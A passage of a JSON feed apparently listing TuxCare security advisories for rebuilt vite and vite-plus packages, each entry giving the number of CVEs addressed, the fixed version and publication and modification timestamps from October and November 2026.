8.0.10-tuxcare.2.","status":"published","published":"2026-10-27T11:17:39Z","modified":"2026-10-27T13:30:16.634790026Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793099874","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.12-tuxcare.2.","status":"published","published":"2026-10-27T11:17:54Z","modified":"2026-10-27T13:30:13.034401255Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793099905","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.3-tuxcare.3.","status":"published","published":"2026-10-27T11:18:25Z","modified":"2026-10-27T13:30:09.765261022Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793099942","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.14-tuxcare.6.","status":"published","published":"2026-10-27T11:19:02Z","modified":"2026-10-29T19:45:50.307466903Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793099987","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 3.2.11-tuxcare.8.","status":"published","published":"2026-10-27T11:19:47Z","modified":"2026-10-29T19:45:50.416176732Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793100006","title":"TuxCare security update for vite (4 CVEs)","description":"TuxCare rebuilt vite to address 4 CVEs. Fixed in 5.0.12-tuxcare.8.","status":"published","published":"2026-10-27T11:20:06Z","modified":"2026-11-07T01:00:02.463555823Z","updated_at":"2026-11-07T01:26:17.791146Z"},{"id":"CLSA-2026-1793100032","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 8.0.9-tuxcare.2.","status":"published","published":"2026-10-27T11:20:32Z","modified":"2026-10-27T13:30:13.984579411Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793100051","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 7.3.2-tuxcare.2.","status":"published","published":"2026-10-27T11:20:51Z","modified":"2026-10-27T13:30:08.307229925Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793100627","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 2.9.18-tuxcare.5.","status":"published","published":"2026-10-27T11:30:27Z","modified":"2026-10-29T19:45:50.388295679Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793100737","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 6.4.3-tuxcare.2.","status":"published","published":"2026-10-27T11:32:17Z","modified":"2026-10-27T13:30:08.353075899Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793115223","title":"TuxCare security update for vite (4 CVEs)","description":"TuxCare rebuilt vite to address 4 CVEs. Fixed in 4.1.5-tuxcare.4.","status":"published","published":"2026-10-27T15:33:43Z","modified":"2026-10-27T19:30:06.784084796Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793973624","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.0-tuxcare.7.","status":"published","published":"2026-11-06T15:00:25Z","modified":"2026-11-06T19:00:02.354161224Z","updated_at":"2026-11-06T19:05:31.753133Z"},{"id":"CLSA-2026-1793973716","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 4.5.5-tuxcare.11.","status":"published","published":"2026-11-06T15:01:57Z","modified":"2026-11-06T19:00:03.378849658Z","updated_at":"2026-11-06T19:05:31.753133Z"},{"id":"CLSA-2026-1794050549","title":"TuxCare security update for vite (1 CVE)","description":"TuxCare rebuilt vite to address 1 CVE. Fixed in 8.0.16-tuxcare.1.","status":"published","published":"2026-11-07T12:22:30Z","modified":"2026-11-07T13:15:02.336873768Z","updated_at":"2026-11-07T13:47:00.167603Z"},{"id":"CLSA-2026-1794406408","title":"TuxCare security update for vite-plus (5 CVEs)","description":"TuxCare rebuilt vite-plus to address 5 CVEs. Fixed in 0.2.7-tuxcare.1.","status":"published","published":"2026-11-11T15:13:29Z","modified":"2026-11-11T19:30:05.193587426Z","updated_at":"2026-11-11T19:50:24.684142Z"},{"id":"CLSA-2026-1794412224","title":"TuxCare security update for vite-plus (6 CVEs)","description":"TuxCare rebuilt vite-plus to address 6 CVEs. Fixed in 0.3.3-tuxcare.1.","status":"published","published":"2026-11-11T16:50:25Z","modified":"2026-11-11T19:30:04.783286761Z","updated_at":"2026-11-11T19:50:24.684142Z"}]}}
